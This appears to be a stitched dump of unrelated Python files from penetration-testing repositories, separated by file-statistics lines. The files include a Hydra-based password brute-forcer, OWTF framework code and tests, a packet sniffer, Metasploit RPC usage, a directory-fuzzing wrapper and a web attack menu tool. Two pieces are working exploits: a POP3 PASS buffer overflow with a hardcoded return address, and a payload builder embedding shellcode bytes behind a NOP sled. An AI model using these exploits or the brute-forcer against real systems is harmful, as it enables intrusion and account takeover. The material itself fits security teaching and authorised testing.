'URL': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'auth_visited': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'connection_details': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'content': ('django.db.models.fields.TextField', [], {'blank': 'True'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'page_found_on': ('django.db.models.fields.URLField', [], {'max_length': '200', 'blank': 'True'}), 'project': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Project']"}), 'status_code': ('django.db.models.fields.CharField', [], {'max_length': '256', 'blank': 'True'}), 'visited': ('django.db.models.fields.BooleanField', [], {'default': 'False'}) }, u'xtreme_server.project': { 'Meta': {'object_name': 'Project'}, 'allowed_extensions': ('django.db.models.fields.TextField', [], {}), 'allowed_protocols': ('django.db.models.fields.TextField', [], {}), 'consider_only': ('django.db.models.fields.TextField', [], {}), 'exclude_fields': ('django.db.models.fields.TextField', [], {}), 'login_url': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'logout_url': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'password': ('django.db.models.fields.TextField', [], {}), 'password_field': ('django.db.models.fields.TextField', [], {'default': "'Not Set'"}), 'project_name': ('django.db.models.fields.CharField', [], {'max_length': '50', 'primary_key': 'True'}), 'query_url': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'start_url': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'status': ('django.db.models.fields.CharField', [], {'default': "'Not Set'", 'max_length': '50'}), 'username': ('django.db.models.fields.TextField', [], {}), 'username_field': ('django.db.models.fields.TextField', [], {'default': "'Not Set'"}) }, u'xtreme_server.settings': { 'Meta': {'object_name': 'Settings'}, 'allowed_extensions': ('django.db.models.fields.TextField', [], {}), 'allowed_protocols': ('django.db.models.fields.TextField', [], {}), 'auth_mode': ('django.db.models.fields.TextField', [], {}), 'consider_only': ('django.db.models.fields.TextField', [], {}), 'exclude_fields': ('django.db.models.fields.TextField', [], {}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'password': ('django.db.models.fields.TextField', [], {}), 'username': ('django.db.models.fields.TextField', [], {}) }, u'xtreme_server.vulnerability': { 'Meta': {'object_name': 'Vulnerability'}, 'auth': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'details': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'form': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Form']"}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'msg': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'msg_type': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'project': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 're_attack': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'timestamp': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'url': ('django.db.models.fields.TextField', [], {'blank': 'True'}) } } complete_apps = ['xtreme_server']
63.617925
130
0.570886
PenetrationTestingScripts
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Author : jeffzhang # @Time : 18-6-19 # @File : auth_scanner.py # @Desc : "" import time from threading import Thread from datetime import datetime from multiprocessing import Pool from fuxi.views.lib.mongo_db import connectiondb, db_name_conf from fuxi.views.modules.auth_tester.hydra_plugin import HydraScanner from fuxi.views.lib.parse_target import parse_target from apscheduler.schedulers.blocking import BlockingScheduler from instance import config_name config_db = db_name_conf()['config_db'] weekpasswd_db = db_name_conf()['weekpasswd_db'] auth_db = db_name_conf()['auth_db'] def hydra_scanner(args): start = HydraScanner(args) result = start.scanner() return result def host_check(args): start = HydraScanner(args) result = start.host_check() return result class AuthCrack: def __init__(self, task_id): self.task_id = task_id self.db_cursor = connectiondb(auth_db).find_one({"_id": self.task_id}) self.processes = connectiondb(config_db).find_one({"config_name": config_name})['auth_tester_thread'] self.task_name = self.db_cursor['task_name'] self.username_list = self.db_cursor['username'] self.password_list = self.db_cursor['password'] self.target_list = parse_target(self.db_cursor['target']) self.online_target = [] self.service_list = self.db_cursor['service'] self.args = self.db_cursor['args'] self.result_pool = [] self.result = [] self.week_count = 0 def start_scan(self): tmp_result = [] args = self.args connectiondb(auth_db).update_one({"_id": self.task_id}, {"$set": {"status": "Processing"}}) for service in self.service_list: # Filter online host pool_a = Pool(processes=self.processes) args_check = self._args_parse(service, 'check') for args in args_check: tmp_result.append(pool_a.apply_async(host_check, (args,))) pool_a.close() pool_a.join() for res_a in tmp_result: if res_a.get(): self.online_target.append(res_a.get()) # start crack pool_b = Pool(processes=self.processes) args_crack = self._args_parse(service, 'crack') for args in args_crack: self.result.append(pool_b.apply_async(hydra_scanner, (args,))) pool_b.close() pool_b.join() self.online_target = [] for res_b in self.result: if res_b.get(): target = res_b.get()['target'] service = res_b.get()['service'] username = res_b.get()['username'] password = res_b.get()['password'] self.save_result(target, service, username, password) connectiondb(auth_db).update_one({"_id": self.task_id}, {"$set": { "status": "Completed", "week_count": self.week_count, }}) def save_result(self, target, service, username, password): data = { "target": target, "service": service, "username": username, "password": password, "date": datetime.now().strftime("%Y-%m-%d %H:%M:%S"), "task_id": self.task_id, "task_name": self.task_name, "tag": "" } self.week_count += 1 connectiondb(weekpasswd_db).insert_one(data) def _args_parse(self, service, opt): args_list = [] if opt == 'check': for target in self.target_list: if ":" in target: target_l = target.split(":") if target_l[-1].isdigit(): port = target_l[-1] del target_l[-1] target = ''.join(target_l) self.args = self.args + '-s %s' % port if service in ['redis', 'cisco', 'oracle-listener', 's7-300', 'snmp', 'vnc']: if len(self.args) > 0: command = ['hydra', '-t', '1', '-p', ''] + [self.args] + [target] + [service] else: command = ['hydra', '-t', '1', '-p', ''] + [target] + [service] else: if len(self.args) > 0: command = ['hydra', '-t', '1', '-l', '', '-p', ''] + [self.args] + [target] + [service] else: command = ['hydra', '-t', '1', '-l', '', '-p', ''] + [target] + [service] args_list.append(command) elif opt == 'crack': for target in self.online_target: if ":" in target: target_l = target.split(":") if target_l[-1].isdigit(): port = target_l[-1] del target_l[-1] target = ''.join(target_l) self.args = self.args + '-s %s' % port if service in ['redis', 'cisco', 'oracle-listener', 's7-300', 'snmp', 'vnc']: for password in self.password_list: if len(self.args) > 0: command = ['hydra', '-t', '1', '-p', password] + [self.args] + [target] + [service] else: command = ['hydra', '-t', '1', '-p', password] + [target] + [service] args_list.append(command) else: for username in self.username_list: for password in self.password_list: if len(self.args) > 0: command = ['hydra', '-t', '1', '-l', username, '-p', password] + [self.args] + [target] + [service] else: command = ['hydra', '-t', '1', '-l', username, '-p', password] + [target] + [service] args_list.append(command) return args_list class AuthTesterLoop: def __init__(self): self.recursion = '' self.status = '' self.scan_date = '' self.task_id = '' def task_schedule(self): scheduler = BlockingScheduler() try: scheduler.add_job(self._get_task, 'interval', seconds=30) scheduler.start() except Exception as e: print(e) def _get_task(self): for task_info in connectiondb(auth_db).find(): self.recursion = task_info['recursion'] self.status = task_info['status'] self.scan_date = task_info['date'] self.task_id = task_info['_id'] start_date = datetime.strptime(self.scan_date, "%Y-%m-%d %H:%M:%S") plan_time = (datetime.now() - start_date).total_seconds() if self.recursion == 0: pass # every day elif self.recursion == 1 and "Completed" in self.status: if plan_time > 60 * 60 * 24 * 1: if self.start_loop_scan(): print("[*] Every Day Task Start...", time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())) # every week elif self.recursion == 7 and "Completed" in self.status: if plan_time > 60 * 60 * 24 * 7: if self.start_loop_scan(): print("[*] Every Week Task Start...", time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())) # every month elif self.recursion == 30 and "Completed" in self.status: if plan_time > 60 * 60 * 24 * 30: if self.start_loop_scan(): print("[*] Every Month Task Start...", time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())) def start_loop_scan(self): connectiondb(weekpasswd_db).update({"task_id": self.task_id}, {"$set": {"tag": "delete"}}, multi=True) connectiondb(auth_db).update_one({"_id": self.task_id}, {"$set": { "status": "Queued", "date": time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()), "week_count": 0, }}) scanner = AuthCrack(self.task_id) if scanner: t1 = Thread(target=scanner.start_scan, args=()) t1.start() return True
40.470588
131
0.490129
owtf
import math from collections import namedtuple from sqlalchemy.sql import and_, or_ def filter_none(kwargs): """ Remove all `None` values froma given dict. SQLAlchemy does not like to have values that are None passed to it. :param kwargs: Dict to filter :return: Dict without any 'None' values """ n_kwargs = {} for k, v in kwargs.items(): if v: n_kwargs[k] = v return n_kwargs def session_query(model): """ Returns a SQLAlchemy query object for the specified `model`. If `model` has a ``query`` attribute already, that object will be returned. Otherwise a query will be created and returned based on `session`. :param model: sqlalchemy model :return: query object for model """ from owtf.db.session import get_scoped_session session = get_scoped_session() return model.query if hasattr(model, "query") else session.query(model) def create_query(model, kwargs): """ Returns a SQLAlchemy query object for specified `model`. Model filtered by the kwargs passed. :param model: :param kwargs: :return: """ s = session_query(model) return s.filter_by(**kwargs) def find_all(query, model, kwargs): """ Returns a query object that ensures that all kwargs are present. :param query: :param model: :param kwargs: :return: """ conditions = [] kwargs = filter_none(kwargs) for attr, value in kwargs.items(): if not isinstance(value, list): value = value.split(",") conditions.append(get_model_column(model, attr).in_(value)) return query.filter(and_(*conditions)) def get_model_column(model, field): if field in getattr(model, "sensitive_fields", ()): raise AttrNotFound(field) column = model.__table__.columns._data.get(field, None) if column is None: raise AttrNotFound(field) return column def find_any(query, model, kwargs): """ Returns a query object that allows any kwarg to be present. :param query: :param model: :param kwargs: :return: """ or_args = [] for attr, value in kwargs.items(): or_args.append(or_(get_model_column(model, attr) == value)) exprs = or_(*or_args) return query.filter(exprs) def filter(query, model, terms): """ Helper that searched for 'like' strings in column values. :param query: :param model: :param terms: :return: """ column = get_model_column(model, terms[0]) return query.filter(column.ilike("%{}%".format(terms[1]))) def sort(query, model, field, direction): """ Returns objects of the specified `model` in the field and direction given :param query: :param model: :param field: :param direction: """ column = get_model_column(model, field) return query.order_by(column.desc() if direction == "desc" else column.asc()) def apply_pagination(query, page_number=None, page_size=None): """Apply pagination to a SQLAlchemy query object. :param page_number: Page to be returned (starts and defaults to 1). :param page_size: Maximum number of results to be returned in the page (defaults to the total results). :returns: A 2-tuple with the paginated SQLAlchemy query object and a pagination namedtuple. The pagination object contains information about the results and pages: ``page_size`` (defaults to ``total_results``), ``page_number`` (defaults to 1), ``num_pages`` and ``total_results``. Basic usage:: query, pagination = apply_pagination(query, 1, 10) >>> len(query) 10 >>> pagination.page_size 10 >>> pagination.page_number 1 >>> pagination.num_pages 3 >>> pagination.total_results 22 >>> page_size, page_number, num_pages, total_results = pagination """ total_results = query.count() query = _limit(query, page_size) # Page size defaults to total results if page_size is None or (page_size > total_results and total_results > 0): page_size = total_results query = _offset(query, page_number, page_size) # Page number defaults to 1 if page_number is None: page_number = 1 num_pages = _calculate_num_pages(page_number, page_size, total_results) Pagination = namedtuple("Pagination", ["page_number", "page_size", "num_pages", "total_results"]) return query, Pagination(page_number, page_size, num_pages, total_results) def _limit(query, page_size): if page_size is not None: if page_size < 0: raise Exception("Page size should not be negative: {}".format(page_size)) query = query.limit(page_size) return query def _offset(query, page_number, page_size): if page_number is not None: if page_number < 1: raise Exception("Page number should be positive: {}".format(page_number)) query = query.offset((page_number - 1) * page_size) return query def _calculate_num_pages(page_number, page_size, total_results): if page_size == 0: return 0 return math.ceil(total_results / page_size)
26.518325
101
0.630447
owtf
""" tests.owtftest ~~~~~~~~~~~~~~ Test cases. """ from __future__ import print_function from builtins import input import os import copy import glob import tornado import unittest import mock from hamcrest import * from tests.utils import ( load_log, db_setup, clean_owtf_review, DIR_OWTF_REVIEW, DIR_OWTF_LOGS, ) from tests.server import WebServerProcess class OWTFCliTestCase(unittest.TestCase): """Basic OWTF test case that initialises basic patches.""" DEFAULT_ARGS = ["--nowebui"] PROTOCOL = "http" IP = "127.0.0.1" DOMAIN = "localhost" PORT = "8888" def __init__(self, methodName="runTest"): super(OWTFCliTestCase, self).__init__(methodName) self.args = copy.copy(self.DEFAULT_ARGS) def setUp(self): self.args = copy.copy(self.DEFAULT_ARGS) self.clean_old_runs() self.raw_input_patcher = mock.patch("builtins.input", return_value=["Y"]) self.raw_input_patcher.start() def tearDown(self): self.raw_input_patcher.stop() self.clean_logs() def run_owtf(self, *extra_args): """Run OWTF with args plus ``extra_args`` if any.""" if self.args: args = self.args[:] else: args = self.DEFAULT_ARGS[:] if extra_args: args += extra_args print("with the following options: %s" % args) args_str = " ".join(args) os.system("owtf {}".format(args_str)) self.load_logs() def load_logs(self): """Load all file logs generated by OWTF during the run.""" abs_path = os.path.join(os.getcwd(), DIR_OWTF_REVIEW, DIR_OWTF_LOGS) self.logs_main_process = [] for main_process_log in glob.glob(os.path.join(abs_path, "MainProcess*.log")): self.logs_main_process.extend(load_log(main_process_log, absolute_path=True)) self.logs_worker = [] for worker_log in glob.glob(os.path.join(abs_path, "Worker*.log")): self.logs_worker.extend(load_log(worker_log, absolute_path=True)) self.logs_proxy_process = [] for proxy_log in glob.glob(os.path.join(abs_path, "ProxyProcess*.log")): self.logs_proxy_process.extend(load_log(proxy_log, absolute_path=True)) self.logs_transaction_logger = [] for trans_log in glob.glob(os.path.join(abs_path, "TransactionLogger*.log")): self.logs_transaction_logger.extend(load_log(trans_log, absolute_path=True)) self.logs = { "MainProcess": self.logs_main_process, "Worker": self.logs_worker, "ProxyProcess": self.logs_proxy_process, "TransactionLogger": self.logs_transaction_logger, } self.logs_all = [] for log in self.logs.items(): self.logs_all.extend(log) def clean_logs(self): """Remove old logs that have been loaded during a run.""" if hasattr(self, "logs_main_process"): self.logs_main_process = [] if hasattr(self, "logs_worker"): self.logs_worker = [] if hasattr(self, "logs_proxy_process"): self.logs_proxy_process = [] if hasattr(self, "logs_transaction_logger"): self.logs_transaction_logger = [] if hasattr(self, "logs"): self.logs = {} if hasattr(self, "logs_all"): self.logs_all = [] @staticmethod def clean_old_runs(): """Clean the database and the older owtf_review directory.""" # Reset the database. db_setup("clean") db_setup("init") # Remove old OWTF outputs clean_owtf_review() # Specific methods that test logs and function calls. def assert_has_been_logged(self, text, name=None, msg=None): if name and name in self.logs: assert_that(self.logs[name], has_item(text), msg) else: assert_that(self.logs_all, has_item(text), msg) def assert_has_not_been_logged(self, text, name=None, msg=None): if name and name in self.logs: assert_that(self.logs[name], not (has_item(text)), msg) else: assert_that(self.logs_all, not (has_item(text)), msg) def assert_is_in_logs(self, text, name=None, msg=None): if name and name in self.logs: self.assertTrue(text in str(self.logs[name]), msg) else: self.assertTrue(text in str(self.logs_all), msg) def assert_is_not_in_logs(self, text, name=None, msg=None): if name and name in self.logs: self.assertFalse(text in str(self.logs[name]), msg) else: self.assertFalse(text in str(self.logs_all), msg) def assert_are_in_logs(self, texts, name=None, msg=None): for text in texts: self.assert_is_in_logs(text, name, msg) def assert_are_not_in_logs(self, texts, name=None, msg=None): for text in texts: self.assert_is_not_in_logs(text, name, msg) class OWTFCliWebPluginTestCase(OWTFCliTestCase): DEFAULT_ARGS = ["--nowebui"] PROTOCOL = "http" IP = "127.0.0.1" PORT = "8888" MATCH_PLUGIN_START = "Execution Start" MATCH_BUG = "OWTF BUG" DYNAMIC_METHOD_REGEX = "^set_(head|get|post|put|delete|options|connect)_response" def setUp(self): super(OWTFCliWebPluginTestCase, self).setUp() # Web server initialization. self.server = WebServerProcess(self.IP, self.PORT) self.server.start() def tearDown(self): super(OWTFCliWebPluginTestCase, self).tearDown() self.server.stop() tornado.ioloop.IOLoop.clear_instance()
32.577381
89
0.603369
owtf
""" Plugin for probing MsRpc """ from owtf.managers.resource import get_resources from owtf.plugin.helper import plugin_helper DESCRIPTION = " MsRpc Probing " def run(PluginInfo): resource = get_resources("MsRpcProbeMethods") # No previous output return plugin_helper.CommandDump("Test Command", "Output", resource, PluginInfo, [])
23.857143
88
0.740634
Hands-On-Penetration-Testing-with-Python
#!/usr/bin/python import socket buffer=["A"] counter=100 string="A"*2606 + "\x8f\x35\x4a\x5f" +"C"*390 if 1: print"Fuzzing PASS with %s bytes" % len(string) s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.250.136',110)) data=s.recv(1024) #print str(data) s.send('USER root\r\n') data=s.recv(1024) print str(data) s.send('PASS ' + string + '\r\n') data=s.recv(1024) print str(data) print "done" #s.send('QUIT\r\n') #s.close()
17.551724
54
0.577281
Penetration_Testing
''' <Tuoni - Web Attack Program> Currently has the following capabilities: * Shellshock attack * Directory fuzzer * Session hijacker * Get robots.txt file * Test file upload ability * Whois lookups * Zone transfers * Web spidering * Banner grabbing Currently working on adding: * Planning to work on: * Password brute-forcer * SQL Injection ''' import sys import requests import threading import subprocess from web_attacks import get_request from web_attacks import shellshock from web_attacks import build_wordlist from web_attacks import dir_fuzzer from web_attacks import get_robots from web_attacks import test_methods from web_attacks import session_hijacker from web_attacks import whois from web_attacks import zone_transfer from web_attacks import spider from web_attacks import banner_grab def main(): global target, wordlist_file, threads, resume, a_ip, a_port threads = 50 if len(sys.argv[1:]) != 1: print ''' <Tuoni - Web Attack Program>\n Options: -1 : Perform a shellshock attack. -2 : Perform web-directory fuzzing. -3 : Perform SQL injection. [Under work] -4 : Perform password brute-forcing. [Under work] -5 : Perform session hijacking. -6 : Get robots.txt file. -7 : Test for file upload ability. -8 : Perform a "whois" lookup. [Linux/Unix Only] -9 : Perform zone transfers. [Linux/Unix Only] -10 : Perform web spidering. -11 : Perform banner grabbing. [Linux/Unix Only] -12 : Perform all. [Under work] ''' sys.exit(0) option = sys.argv[1] if option == "-1": target = raw_input("Enter the target URL: ") a_ip = raw_input("Enter your IP: ") a_port = raw_input("Enter the port to connect back to: ") shellshock(target, a_ip, a_port) if option == "-2": url = raw_input("Enter the target URL: ") # The word list used for brute-forcing wordlist_file = raw_input("Enter the word list filepath(E.g., /opt/SVNDigger/all.txt)\n: ") word_queue = build_wordlist(wordlist_file) extensions = [".php", ".bak", ".orig", ".inc", ".pl", ".cfm", ".asp", ".js", ".DS_Store", ".php~1", ".tmp", ".aspx", ".jsp", ".d2w", ".py", ".dll", ".nsf", ".ntf"] for i in range(threads): t = threading.Thread(target=dir_fuzzer, args=(url, word_queue, extensions)) t.start() if option == "-5": target = raw_input("Enter the target URL: ") session_hijacker(target) if option == "-6": target = raw_input("Enter the target URL: ") get_robots(target) if option == "-7": target = raw_input("Enter the target URL: ") test_methods(target) if option == "-8": target = raw_input("Enter the target URL: ") whois(target) if option == "-9": target = raw_input("Enter the target URL: ") zone_transfer(target) if option == "-10": target = raw_input("Enter the target URL: ") word = raw_input("Enter the word to look for: ") max_count = int(raw_input("Enter the maximum pages to crawl through: ")) spider(target, max_count, word) if option == "-11": banner_grab() main()
23.051852
171
0.617375
owtf
from owtf.plugin.helper import plugin_helper DESCRIPTION = "Plugin to assist manual testing" def run(PluginInfo): Content = plugin_helper.HtmlString("Intended to show helpful info in the future") return Content
23.777778
85
0.765766
PenetrationTestingScripts
# ACTION_CHECKBOX_NAME is unused, but should stay since its import from here # has been referenced in documentation. from django.contrib.admin.decorators import register from django.contrib.admin.filters import ( AllValuesFieldListFilter, BooleanFieldListFilter, ChoicesFieldListFilter, DateFieldListFilter, FieldListFilter, ListFilter, RelatedFieldListFilter, RelatedOnlyFieldListFilter, SimpleListFilter, ) from django.contrib.admin.helpers import ACTION_CHECKBOX_NAME from django.contrib.admin.options import ( HORIZONTAL, VERTICAL, ModelAdmin, StackedInline, TabularInline, ) from django.contrib.admin.sites import AdminSite, site from django.utils.module_loading import autodiscover_modules __all__ = [ "register", "ACTION_CHECKBOX_NAME", "ModelAdmin", "HORIZONTAL", "VERTICAL", "StackedInline", "TabularInline", "AdminSite", "site", "ListFilter", "SimpleListFilter", "FieldListFilter", "BooleanFieldListFilter", "RelatedFieldListFilter", "ChoicesFieldListFilter", "DateFieldListFilter", "AllValuesFieldListFilter", "RelatedOnlyFieldListFilter", "autodiscover", ] def autodiscover(): autodiscover_modules('admin', register_to=site) default_app_config = 'django.contrib.admin.apps.AdminConfig'
40.466667
79
0.786002
cybersecurity-penetration-testing
import socket import struct host = "192.168.0.1" port = 12347 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((host, port)) s.listen(1) conn, addr = s.accept() print "connected by", addr msz= struct.pack('hhl', 1, 2, 3) conn.send(msz) conn.close()
15.5625
53
0.685606
cybersecurity-penetration-testing
# Transposition File Hacker # http://inventwithpython.com/hacking (BSD Licensed) import sys, time, os, sys, transpositionDecrypt, detectEnglish inputFilename = 'frankenstein.encrypted.txt' outputFilename = 'frankenstein.decrypted.txt' def main(): if not os.path.exists(inputFilename): print('The file %s does not exist. Quitting.' % (inputFilename)) sys.exit() inputFile = open(inputFilename) content = inputFile.read() inputFile.close() brokenMessage = hackTransposition(content) if brokenMessage != None: print('Writing decrypted text to %s.' % (outputFilename)) outputFile = open(outputFilename, 'w') outputFile.write(brokenMessage) outputFile.close() else: print('Failed to hack encryption.') # The hackTransposition() function's code was copy/pasted from # transpositionHacker.py and had some modifications made. def hackTransposition(message): print('Hacking...') # Python programs can be stopped at any time by pressing Ctrl-C (on # Windows) or Ctrl-D (on Mac and Linux) print('(Press Ctrl-C or Ctrl-D to quit at any time.)') for key in range(1, len(message)): print('Trying key #%s... ' % (key), end='') sys.stdout.flush() # We want to track the amount of time it takes to test a single key, # so we record the time in startTime. startTime = time.time() decryptedText = transpositionDecrypt.decryptMessage(key, message) englishPercentage = round(detectEnglish.getEnglishCount(decryptedText) * 100, 2) totalTime = round(time.time() - startTime, 3) print('Test time: %s seconds, ' % (totalTime), end='') sys.stdout.flush() # flush printed text to the screen print('Percent English: %s%%' % (englishPercentage)) if englishPercentage > 20: print() print('Key ' + str(key) + ': ' + decryptedText[:100]) print() print('Enter D for done, or just press Enter to continue:') response = input('> ') if response.strip().upper().startswith('D'): return decryptedText return None # If transpositionFileHacker.py is run (instead of imported as a module) # call the main() function. if __name__ == '__main__': main()
34.132353
89
0.621859
Python-Penetration-Testing-for-Developers
import requests import time def check_httponly(c): if 'httponly' in c._rest.keys(): return True else: return '\x1b[31mFalse\x1b[39;49m' #req = requests.get('http://www.realvnc.com/support') values = [] for i in xrange(0,5): req = requests.get('http://www.google.com') for cookie in req.cookies: print 'Name:', cookie.name print 'Value:', cookie.value values.append(cookie.value) if not cookie.secure: cookie.secure = '\x1b[31mFalse\x1b[39;49m' print 'HTTPOnly:', check_httponly(cookie), '\n' time.sleep(2) print set(values)
22.869565
53
0.689781
cybersecurity-penetration-testing
import socket import os import struct from ctypes import * # host to listen on host = "192.168.0.187" class IP(Structure): _fields_ = [ ("ihl", c_ubyte, 4), ("version", c_ubyte, 4), ("tos", c_ubyte), ("len", c_ushort), ("id", c_ushort), ("offset", c_ushort), ("ttl", c_ubyte), ("protocol_num", c_ubyte), ("sum", c_ushort), ("src", c_ulong), ("dst", c_ulong) ] def __new__(self, socket_buffer=None): return self.from_buffer_copy(socket_buffer) def __init__(self, socket_buffer=None): # map protocol constants to their names self.protocol_map = {1:"ICMP", 6:"TCP", 17:"UDP"} # human readable IP addresses self.src_address = socket.inet_ntoa(struct.pack("<L",self.src)) self.dst_address = socket.inet_ntoa(struct.pack("<L",self.dst)) # human readable protocol try: self.protocol = self.protocol_map[self.protocol_num] except: self.protocol = str(self.protocol_num) # create a raw socket and bind it to the public interface if os.name == "nt": socket_protocol = socket.IPPROTO_IP else: socket_protocol = socket.IPPROTO_ICMP sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) sniffer.bind((host, 0)) # we want the IP headers included in the capture sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # if we're on Windows we need to send some ioctls # to setup promiscuous mode if os.name == "nt": sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) try: while True: # read in a single packet raw_buffer = sniffer.recvfrom(65565)[0] # create an IP header from the first 20 bytes of the buffer ip_header = IP(raw_buffer[0:20]) print "Protocol: %s %s -> %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address) except KeyboardInterrupt: # if we're on Windows turn off promiscuous mode if os.name == "nt": sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
29.118421
107
0.560752
Hands-On-Penetration-Testing-with-Python
#!/usr/bin/python # Payload generator ## Total payload length payload_length = 424 ## Amount of nops nop_length = 100 ## Controlled memory address to return to in Little Endian format #0x7fffffffddc0 #0x7fffffffe120 #current 0x7fffffffdf80: 0xffffdfa0 #0x7fffffffdde0 #return_address = '\x20\xe1\xff\xff\xff\x7f\x00\x00' #IT must be noted that return address is $rsp #00007fffffffde30 return_address = '\xe0\xdd\xff\xff\xff\x7f\x00\x00' ## Building the nop slide nop_slide = "\x90" * nop_length ## Malicious code injection buf = "" buf += "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05" buf += "\xef\xff\xff\xff\x48\xbb\xfa\x6e\x99\x49\xdc\x75\xa8" buf += "\x43\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4" buf += "\x90\x47\xc1\xd0\xb6\x77\xf7\x29\xfb\x30\x96\x4c\x94" buf += "\xe2\xe0\xfa\xf8\x6e\x88\x15\xa3\x75\xa8\x42\xab\x26" buf += "\x10\xaf\xb6\x65\xf2\x29\xd0\x36\x96\x4c\xb6\x76\xf6" buf += "\x0b\x05\xa0\xf3\x68\x84\x7a\xad\x36\x0c\x04\xa2\x11" buf += "\x45\x3d\x13\x6c\x98\x07\xf7\x66\xaf\x1d\xa8\x10\xb2" buf += "\xe7\x7e\x1b\x8b\x3d\x21\xa5\xf5\x6b\x99\x49\xdc\x75" buf += "\xa8\x43" ## Building the padding between buffer overflow start and return address padding = 'B' * (payload_length - nop_length - len(buf)) #perfect print nop_slide + buf + padding + return_address
31.65
72
0.710345
Effective-Python-Penetration-Testing
from metasploit.msfrpc import MsfRpcClient from metasploit.msfconsole import MsfRpcConsole client = MsfRpcClient('123456', user='msf') print dir(console) auxilary = client.modules.auxiliary for i in auxilary: print "\t%s" % i scan = client.modules.use('auxiliary', 'scanner/ssh/ssh_version') scan.description scan.required scan['VERBOSE'] = True scan['RHOSTS'] = '192.168.1.119' print scan.execute() console = MsfRpcConsole(client) console.execute('use scanner/ssh/ssh_version') console.execute('set RHOSTS 192.168.1.119') console.execute('set VERBOSE True') console.execute('run')
18.833333
65
0.752525
owtf
from owtf.managers.resource import get_resources from owtf.plugin.helper import plugin_helper DESCRIPTION = "Plugin to assist manual testing" def run(PluginInfo): resource = get_resources("ExternalWebServices") Content = plugin_helper.resource_linklist("Online Resources", resource) return Content
27.545455
75
0.779553
Penetration-Testing-Study-Notes
#!/usr/bin/python import sys import os import subprocess if len(sys.argv) != 3: print "Usage: dirbust.py <target url> <scan name>" sys.exit(0) url = str(sys.argv[1]) name = str(sys.argv[2]) folders = ["/usr/share/dirb/wordlists", "/usr/share/dirb/wordlists/vulns"] found = [] print "INFO: Starting dirb scan for " + url for folder in folders: for filename in os.listdir(folder): outfile = " -o " + "results/exam/" + name + "_dirb_" + filename DIRBSCAN = "dirb %s %s/%s %s -S -r" % (url, folder, filename, outfile) try: results = subprocess.check_output(DIRBSCAN, shell=True) resultarr = results.split("\n") for line in resultarr: if "+" in line: if line not in found: found.append(line) except: pass try: if found[0] != "": print "[*] Dirb found the following items..." for item in found: print " " + item except: print "INFO: No items found during dirb scan of " + url
24.25641
74
0.601626
owtf
from owtf.config import config_handler from owtf.plugin.helper import plugin_helper from owtf.plugin.params import plugin_params DESCRIPTION = "Launches all Exploits for a category(ies) -i.e. for IDS testing-" CATEGORIES = ["LINUX", "WINDOWS", "OSX"] SUBCATEGORIES = [ "DCERPC", "FTP", "HTTP", "IIS", "IMAP", "ISAPI", "LDAP", "LPD", "MDNS", "MISC", "MMSP", "MSSQL", "MYSQL", "NOVELL", "NFS", "NNTP", "NTP", "ORACLE", "PHP", "POP3", "POSTGRES", "PPTP", "PROXY", "REALSERVER", "RPC", "RTSP", "SAMBA", "SCADA", "SIP", "SMB", "SMTP", "SOFTCART", "SSH", "SSL", "SUNRPC", "SVN", "TACACS", "TELNET", "TFTP", "UNICENTER", "VNC", "VPN", "WEBAPP", "WINS", "WYSE", ] def run(PluginInfo): Content = [] args = { "Description": DESCRIPTION, "Mandatory": { "RHOST": config_handler.get_val("RHOST_DESCRIP"), "RPORT": config_handler.get_val("RPORT_DESCRIP"), "CATEGORY": "Category to use (i.e. " + ", ".join(sorted(CATEGORIES)) + ")", "SUBCATEGORY": "Subcategory to use (i.e. " + ", ".join(sorted(SUBCATEGORIES)) + ")", }, "Optional": {"REPEAT_DELIM": config_handler.get_val("REPEAT_DELIM_DESCRIP")}, } for args in plugin_params.get_args(args, PluginInfo): plugin_params.set_config(args) resource = config_handler.get_resources( "LaunchExploit_" + args["CATEGORY"] + "_" + args["SUBCATEGORY"] ) Content += plugin_helper.CommandDump( "Test Command", "Output", resource, PluginInfo, "" ) return Content
21.227848
87
0.519088
owtf
from owtf.plugin.helper import plugin_helper DESCRIPTION = "Plugin to assist manual testing" def run(PluginInfo): Content = plugin_helper.HtmlString("Intended to show helpful info in the future") return Content
23.777778
85
0.765766
cybersecurity-penetration-testing
